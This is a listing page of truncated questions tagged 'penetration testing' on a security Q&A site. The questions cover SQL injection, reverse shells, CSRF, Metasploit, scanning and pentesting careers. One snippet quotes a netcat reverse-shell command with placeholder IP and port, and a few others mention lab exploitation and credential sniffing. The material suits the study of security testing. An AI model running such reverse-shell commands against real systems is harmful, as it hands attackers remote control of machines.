An attempt to penetrate a system's security in an effort to evaluate the protections in place.

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Create a page to experiment with SQL injection [closed]

This semester, I have taken a course on Information Security and my project for this course is to implement an SQL injection to obtain admin privileges. For this I first download Havij software (...
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Where can I download vulnerable Windows OS images to practice penetration testing?

My objective is to learn and practice all the vulnerabilities and their exploitation on vulnerable OS.
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Is STARTTLS a security-vulnerability?

After reading about STARTTLS and SSL and performing a scan/pentest at our server I have the next question regarding security: Is this STARTTLS warning below a security-vulnerability? And if so why? ...
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how an iframe can cause xsrf?

I know how a form tag is prone to CSRF which does not use any token (or any other challenge-response mechanism) but I was wondering how an iFrame can be used to cause XSRF attack and what would be the ...
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Pentesting Web Server for Remote File Inclusion

For educational purposes, I am in the process of pentesting a web server of mine(running on Windows) where there is a Remote File Inclusion vulnerability. I can already get simple things like command ...
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Blacklisting during a penetration test?

So i had a debate recently where one of my colleagues believed that by launching a penetration test (one requested by our clients) from our one of our IP's we could potentially get that IP/all IP's in ...
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Any suggestions while testing a sandboxing driver?

I am doing penetration testing of a sandboxing driver and trying to break the sandbox. It is implemented as a kernel mode driver. A sandboxed process will have : A whitelist of disk locations for ...
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Penetration Testing Silverlight Applications

What would be the process in pentesting a Silverlight application? What would be the best method to proceed in a manual test? Any specific tools use? For example an application with lot of file upload,...
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Legal insurance for penetration testers

I am currently finishing university and I am looking for work as a penetration tester. How important is it to have legal insurance for me in Germany and do I need to organise this privately. Of ...
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tcp seq number prediction

While testing a system, nmap told me that the tcp seq number prediction is really low, (trivial joke). There is only one system in the whole range that gives me that answer. Some papers, e.g. a ...
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Database Security

Would having the IP address and name of my database visible to the public be a security risk? I have hosting with godaddy, a shared hosting plan. When I connect to my DB, via MS-SQL-MS, I can see the ...
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Syllabus for self-studying information security and Pentesting [closed]

I'm someone who's distant, industry-wise, from technology. I'm actually in the medical field. That said, I'm very interested in technology and specifically in information security. I'd like to make a ...
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Major differences between Kali and SecurityOnion

Curious about the major differences between Kali Linux and SecurityOnion. Do you think it would be easy or useful to replicate what has been done with SecurityOnion on Kali? Why is there such a ...
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Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
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Determing live hosts past a restrictive firewall with nmap

Sometimes when I am doing an external security assesment, I run into hosts that have the following restrictions/configuration: All ICMP traffic is blocked An IDS or some device returns all ports as ...
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How to determine the size of payloads available in MetaSploit

I've noticed that there are a lot of different payloads to choose from in MetaSploit, and the choice (assuming there's enough room in the target) usually depends on what you're trying to do. However, ...
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How to determine which security testing method to use if resources are limited

My resources are limited, and thus i am wondering what methodology can I apply to know where black box testing is best fit, where white box testing is best fit? Or even where pen testing is better ...
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would preparing for CCNA add “significantly” to my knowledge as a penetration tester?

I'm a post graduate student and self taught programmer. I concentrated on Computer Networks & Operating Systems more during my undergraduate studies. I can explain usually used protocols by ...
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Is it OK to do a security testing in parallel with a QA testing?

This may not be a very technical question per se, so please feel free to move it to the respective forum/stack. However, I would really appreciate anybody experienced or experiencing a similar ...
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How to pentest an AngularJS based SPA (Single Page Application)

I am trying to Pentest an application which is built in AngularJS. The difficulties that I am facing: Burp Suite's "spider this host" option is not able to crawl all the urls as most of the requests ...
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How should I start security testing of python standalone application?

I'm looking for an answer specific to Windows/Linux standalone applications, for instance Dropbox has Windows Application written purely (I think so) in python, What steps should I follow? What are ...
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Rainbow tables/hash tables versus WPA/WPA2

In Wi-Fi penetration testing, is it possible to use rainbow tables/hash tables on WPA/WPA2 networks? Is there an advantage of one over the other? ...
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Executing arbitrary commands through iptables-restore input

During a pentest I found a way to add arbitrary iptables firewall rules to a server. These rules get applied by way of the iptables-restore command, and I've been wondering whether there is any way to ...
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SQL Injection - Extracting database data from the page content

I have a question I am hoping someone could help with.. I am in the process of writing an SQL Injection tool from scratch (I am aware there are already excellent tools out there such as SQL Map, but ...
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Trying to figure out Gmail login in Wireshark

In my pentesting lab I'm using ettercap for do a mitm to a XP VM. I go to gmail, accepting the false certification, and here I start to sniff with wireshark. I put some false account like pentest/...
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Frameworks for collecting all activities in a pentest?

I work as a penetration tester for a company, and one thing we're regularly asked to do is to provide a forensic log of all of the activities we perform during the course of an assessment. I'm ...
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Would generic exception messasges be considered a security risk?

For example, if visiting a webpage you get the response: Error in exception handler. This has a high chance the website is using Laravel. Would this class as information disclosure? I'm guessing ...
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Spoofing LAN IP Address Traffic

To give as much detail as possible, I am doing a Pentest for a client that has quite a few "terminal systems" meaning that they are simply a box with a connection back to the main server. These ...
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Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...
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HTTPonly cookies

I was tasked to perform as scan against a lab and Nessus returned an "Apache HTTP Server httpOnly Cookie Information Disclosure" vulnerability. What I would like to know is what these cookies contain ...
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Securing client-side data from users

So my problem, in its general form, is encrypting test questions such that a client-side testing application can access the questions while students cannot. The naive approach, in my opinion, is to ...
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Proving SQL Injection Vulnerability

I have recently come across what I believe to be a serious flaw in the security of a 3rd party computer program used within my company. Apologies for deliberately keeping details vague, but I hope you ...
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Effectiveness of Interactive Application Security Testing

There are a number of IAST tools available on the market such as Acunetix Web Vulnerability Scanner and HP WebInspect Real-Time. How effective are these at finding vulnerabilities? Is there any ...
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Metasploit Get Shell Through NAT

Ok first of all this is legal and I have it in writing my friend and I are attacking eachother to get better and not break the law. Setup I have a VMWare image running BT5R3. It uses VMWare's NAT ...
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How to perform security exploits/penetration on devices like iPhone's, PSP's, and Android to run your owncode?

I was really interested in getting into performing exploits to install my own code on devices, instead of waiting for others. I figure its a great way for me to learn about security on devices like ...
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Do blackbox penetration tests make sense if a whitebox audit would be possible as well?

Lets assume I am responsible for an application in my company and I decide to hire security experts to perform a security audit. Lets assume further that my company owns the source code of the ...
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Command line Nessus/OpenVAS or NSE to find specific vulns?

Which methods do you use to quickly scan a network for certain vulnerabilities? I read in the O'Reilly book Network Security Tools that Nessus had the ability to test for one vulnerability only, but ...
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How to carry out a CSRF in a stealthful manner

I am a math grad student dabbling in network security. I was playing around with login cross site request forgery, and the whole point is to log somebody in. (I am a complete novice in HTML and ...
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iOS application pentest without jailbreak

Is it possible to run a security assessment on an iOS application using a non-jailbroken device? My device was recently restored (recovered - no SHSH blobs) to iOS 8.4.1 (as Apple doesn't like ...
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Risks to company while performing the penetration test

I would like to know what the risks a penetration testing company faces while performing tests for clients. For example: A penetration testing company named "A" providing services for a client called ...
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Feedback for Study Plan (Kali Linux & Penetration Testing) [closed]

I started to study pentesting for two months with the book named Penetration Testing - A Hands on Introduction to Hacking by Georgia Weidmann, and now I am really hungry to learn more :) . I think I ...
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Setup of Kali Linux for reverse shell connections over the internet

I am running Kali Linux as a VM on my Windows machine which is NAT'd behind my company network, if I wish to pen test a website for a client and believe that a reverse shell is possible, what is a ...
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Best website to learn computer security basics? [duplicate]

Possible Duplicate: Resources to learn about security Can someone advice on which are the good sites out there to learn the basics of computer security from?
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Building my own Darkspace

I have searched through the internet about creating a darknet and there is a confusion. There are two definitions, the first one is network used for private p2p (like freenet) and another one that ...
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Does PT (Penetration Test) allow rooting a server?

When doing a PT, are we allowed to root servers to escalate privileges? I am planning for post exploitation and it necessary to root server for that. So it is better to stop there or go further.
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Building a Security Training Simulation environment

My university is keen to build a security training simulation environment/platform and it will be a good learning experience for students. I Googled around to find out how it is built, but I only ...
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How was pentest performed in the era with no frameworks like Metasploit?

I have been interested in security lately, I have been reading mainly cookbooks on Metasploit framework, how social engineering has been employed exhaustively, I have started reading some IA-32 ...
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Backtrack Footprints

I have been hired to to penetration assessment (scanning,testing and so on) ( I am new to the industry and learned through Offsec pentration training.) While training, I have been doing most of my ...
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Problems during Pen-testing of SCADA systems

Is there a way to monitor the way the SCADA systems behave 'during pen-testing or security audit', and find out the implications of just port scans and/or monitor the state of activity while sending a ...
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Efficient way for finding XSS vulnerabilities?

Manual (reliable) way: Put string containing characters that have special meaning in HTML into some parameter of HTTP request, look for this string in HTTP response (and possibly) in other places ...